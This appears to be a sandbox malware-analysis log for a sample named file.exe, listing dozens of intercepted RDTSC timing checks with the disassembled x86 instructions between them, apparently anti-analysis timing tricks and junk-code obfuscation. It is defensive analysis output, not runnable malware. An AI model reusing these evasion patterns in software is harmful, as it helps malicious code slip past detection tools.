Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605258 second address: 60525C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60525C second address: 60526A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875CAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60526A second address: 60527D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jng 00007FF34D3F6B2Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686F6B second address: 686F80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF34C7875D1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689681 second address: 689686 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689686 second address: 68968C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DABF second address: 68DAC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DAC6 second address: 68DACD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DACD second address: 68DADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FF34D3F6AF6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DADA second address: 68DADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DADE second address: 68DAE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DD78 second address: 68DDB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push edi 0x00000006 pop edi 0x00000007 jmp 00007FF34C7875D5h 0x0000000c pop ecx 0x0000000d jmp 00007FF34C7875D6h 0x00000012 popad 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DF37 second address: 68DF54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DF54 second address: 68DF83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007FF34C7875D7h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DF83 second address: 68DF89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DF89 second address: 68DF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691152 second address: 691192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF34D3F6B08h 0x00000009 jng 00007FF34D3F6AF6h 0x0000000f popad 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 jmp 00007FF34D3F6B08h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6912D2 second address: 6912F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF34C7875CDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6912F1 second address: 691305 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF34D3F6AFFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691305 second address: 69130F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6974E0 second address: 6974E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6974E6 second address: 697504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF34C7875D7h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696260 second address: 6962C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007FF34D3F6B07h 0x0000000b jmp 00007FF34D3F6AFBh 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007FF34D3F6AFDh 0x00000017 popad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FF34D3F6B06h 0x00000020 jc 00007FF34D3F6AF6h 0x00000026 ja 00007FF34D3F6AF6h 0x0000002c popad 0x0000002d popad 0x0000002e jl 00007FF34D3F6B19h 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696581 second address: 6965B3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF34C7875C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007FF34C7875CAh 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop edx 0x00000013 jmp 00007FF34C7875D6h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640427 second address: 64049D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FF34D3F6AF8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 and ecx, 419CBFBFh 0x00000029 mov ch, F6h 0x0000002b mov ebx, dword ptr [ebp+12484448h] 0x00000031 movzx edx, di 0x00000034 mov ecx, dword ptr [ebp+122D33C9h] 0x0000003a add eax, ebx 0x0000003c push 00000000h 0x0000003e push esi 0x0000003f call 00007FF34D3F6AF8h 0x00000044 pop esi 0x00000045 mov dword ptr [esp+04h], esi 0x00000049 add dword ptr [esp+04h], 00000017h 0x00000051 inc esi 0x00000052 push esi 0x00000053 ret 0x00000054 pop esi 0x00000055 ret 0x00000056 xor dword ptr [ebp+122D2271h], edi 0x0000005c nop 0x0000005d push eax 0x0000005e push edx 0x0000005f jno 00007FF34D3F6AF8h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64049D second address: 6404A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6404A3 second address: 6404A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6404A7 second address: 6404CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jp 00007FF34C7875D0h 0x0000000f nop 0x00000010 mov di, si 0x00000013 movsx edi, dx 0x00000016 push 00000004h 0x00000018 nop 0x00000019 push edi 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6405F7 second address: 640616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov edi, ebx 0x00000008 push 0000001Eh 0x0000000a adc ecx, 04322F00h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007FF34D3F6AFCh 0x00000019 jnc 00007FF34D3F6AF6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6404BA second address: 6404CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov di, si 0x0000000a movsx edi, dx 0x0000000d push 00000004h 0x0000000f nop 0x00000010 push edi 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DAD7 second address: 69DAF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF34D3F6AFFh 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007FF34D3F6AFCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DC82 second address: 69DC86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DC86 second address: 69DCBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FF34D3F6B01h 0x0000000c pop edx 0x0000000d jmp 00007FF34D3F6B02h 0x00000012 popad 0x00000013 jne 00007FF34D3F6B14h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DCBB second address: 69DCC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DCC1 second address: 69DCD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF34D3F6AF6h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DE48 second address: 69DE4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DE4C second address: 69DE58 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jng 00007FF34D3F6AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DE58 second address: 69DE9A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007FF34C7875C6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pushad 0x0000000d ja 00007FF34C7875C6h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push edi 0x00000019 pushad 0x0000001a jp 00007FF34C7875C6h 0x00000020 push esi 0x00000021 pop esi 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 jnl 00007FF34C7875C6h 0x0000002b jmp 00007FF34C7875D7h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6407BE second address: 6407C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F45D second address: 69F463 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F463 second address: 69F467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F75E second address: 69F77A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007FF34C7875CEh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A525E second address: 6A5263 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A54EA second address: 6A54F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A54F0 second address: 6A54F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A5809 second address: 6A5814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF34C7875C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B41C5 second address: 6B41D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jbe 00007FF34D3F6B02h 0x0000000b je 00007FF34D3F6AF6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B227C second address: 6B228F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B23B1 second address: 6B23B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B23B7 second address: 6B23EF instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF34C7875D3h 0x00000008 push edi 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edx 0x00000010 jmp 00007FF34C7875CCh 0x00000015 jp 00007FF34C7875C6h 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jno 00007FF34C7875C6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3023 second address: 6B3038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF34D3F6B00h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3038 second address: 6B303E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B318A second address: 6B3193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3193 second address: 6B3197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3197 second address: 6B31B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b ja 00007FF34D3F6AF6h 0x00000011 pop eax 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007FF34D3F6AF6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B31B3 second address: 6B31D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jp 00007FF34C7875C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B393A second address: 6B393E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B393E second address: 6B3989 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007FF34C7875D6h 0x00000011 pop esi 0x00000012 push eax 0x00000013 jmp 00007FF34C7875D7h 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B404D second address: 6B4051 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BAECE second address: 6BAED4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BAED4 second address: 6BAEF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jc 00007FF34D3F6AF8h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB181 second address: 6BB185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB185 second address: 6BB191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB191 second address: 6BB195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB195 second address: 6BB1CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF34D3F6B06h 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1DDD second address: 6C1DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007FF34C7875D0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C98EE second address: 6C98F9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC338 second address: 6CC33E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFDC5 second address: 6CFDE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FF34D3F6AFFh 0x0000000d jng 00007FF34D3F6AF6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFDE7 second address: 6CFDEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4966 second address: 6D496C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8750 second address: 6D875E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 ja 00007FF34C7875C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE9E1 second address: 6DE9E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE7C7 second address: 6DE7CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE7CB second address: 6DE7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF34D3F6B08h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE7EB second address: 6DE81A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D4h 0x00000007 jmp 00007FF34C7875CFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FF34C7875C6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE81A second address: 6DE82A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5E33 second address: 6E5E55 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF34C7875C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FF34C7875D8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6C8B second address: 6E6C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6C91 second address: 6E6C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6C95 second address: 6E6C99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6C99 second address: 6E6C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F89E5 second address: 6F89FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jnp 00007FF34D3F6AF6h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701268 second address: 70128C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jns 00007FF34C7875D9h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7010CC second address: 7010E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnl 00007FF34D3F6AF6h 0x0000000c popad 0x0000000d jnc 00007FF34D3F6AFCh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7010E9 second address: 7010EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7010EF second address: 7010F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7010F3 second address: 7010F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726840 second address: 726852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF34D3F6AFCh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7269B1 second address: 7269C0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007FF34C7875C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
